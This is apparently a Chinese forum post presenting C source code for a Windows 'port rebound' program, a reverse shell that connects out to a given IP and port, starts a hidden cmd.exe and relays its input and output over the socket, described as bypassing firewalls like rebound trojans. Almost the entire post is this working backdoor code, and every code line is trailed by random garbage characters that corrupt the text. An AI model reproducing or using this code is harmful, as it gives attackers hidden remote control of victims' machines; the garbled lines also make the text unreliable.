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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j>(O1z 7  
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/* ============================== N|OI~boV%  
Rebound port in Windows NT $ \j/s:Y  
By wind,2006/7 G'oMZb ({=  
===============================*/ \YE(E04w57  
#include B 3Y,|*  
#include ?32gug\i'}  
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#pragma comment(lib,"wsock32.lib") WleE$ ,  
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void OutputShell(); :nZVP_d+  
SOCKET sClient; )_eEM1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a7+w)]r  
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void main(int argc,char **argv) !=7 (3< ?  
{ ]_6w(>A@3#  
WSADATA stWsaData; gJEm  
int nRet; J3OxM--8"  
SOCKADDR_IN stSaiClient,stSaiServer; ' XJ>;",[  
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if(argc != 3) ToWiXH)4  
{ #)&kF+  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9?5'>WO  
return; &DQyJJ`k  
} v803@9@  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ),ur! v  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SJg4P4|  
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stSaiClient.sin_family = AF_INET; TUw+A6u:p  
stSaiClient.sin_port = htons(0); -? _#Yttu  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AI{Tw>hZ  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d <{ >&  
{ SvZ~xTit  
printf("Bind Socket Failed!\n"); ^O#>LbM"x  
return; y:t@X~  
} N~rA/B]T  
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stSaiServer.sin_family = AF_INET; @ev"{dY  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N`3q54_$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }HB>Zb5  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0_F6t-  
{ b.mcP@  
printf("Connect Error!"); 87; E#2  
return; 2a=3->D&  
} us j:I`>  
OutputShell(); RLy(Wz3%  
} -|0nZ  
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void OutputShell() aQjs5RbP~  
{ CD}::7$  
char szBuff[1024]; 6_Ps*Ed  
SECURITY_ATTRIBUTES stSecurityAttributes; GM_~2Er]  
OSVERSIONINFO stOsversionInfo; &8p]yo2zO  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E@}N}SR  
STARTUPINFO stStartupInfo; hkS0ae  
char *szShell; ]Sj<1tx7f  
PROCESS_INFORMATION stProcessInformation; M]c"4 b;  
unsigned long lBytesRead; c`S`.WID  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tu5g> qb  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); > 2)@(f~g  
stSecurityAttributes.lpSecurityDescriptor = 0; \9 ,a"g  
stSecurityAttributes.bInheritHandle = TRUE; !3O8B0K)v  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); * {avx  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6,wi81F,}  
2IfcdYG  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); p **Sd[|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {KQ-QKxxS  
stStartupInfo.wShowWindow = SW_HIDE; >:o$h2  
stStartupInfo.hStdInput = hReadPipe; @477|LO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; I /2{I  
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GetVersionEx(&stOsversionInfo); bVLBqa=  
5 [GdFd>{  
switch(stOsversionInfo.dwPlatformId) JM&`&fsOC{  
{ o >wty3l:  
case 1: A9 *P7  
szShell = "command.com"; ]rNM3@bVy  
break; 2:5Go  
default: ]|m?pt  
szShell = "cmd.exe"; >X@4wP 7l  
break; "SMRvi57T  
} + d?p? v  
DT;n)7+,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NUO#[7OK+x  
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send(sClient,szMsg,77,0); 0r_3:#Nn  
while(1) (YV]T!q  
{ \wjT|z1+Y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); scc+r  
if(lBytesRead) 84f(BE  
{ X%C`('"R  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7sX#6`t  
send(sClient,szBuff,lBytesRead,0); CMhl*dH  
} *A&A V||q  
else PF+F^;C  
{ wI5(`_l{G  
lBytesRead=recv(sClient,szBuff,1024,0); I K9plsd*  
if(lBytesRead<=0) break; Oj=g;iY  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wZUZ"Y}9  
} #]rfKHW9  
} G;ihm$Cad  
$~3?nib"j  
return; tZXq<k9  
}
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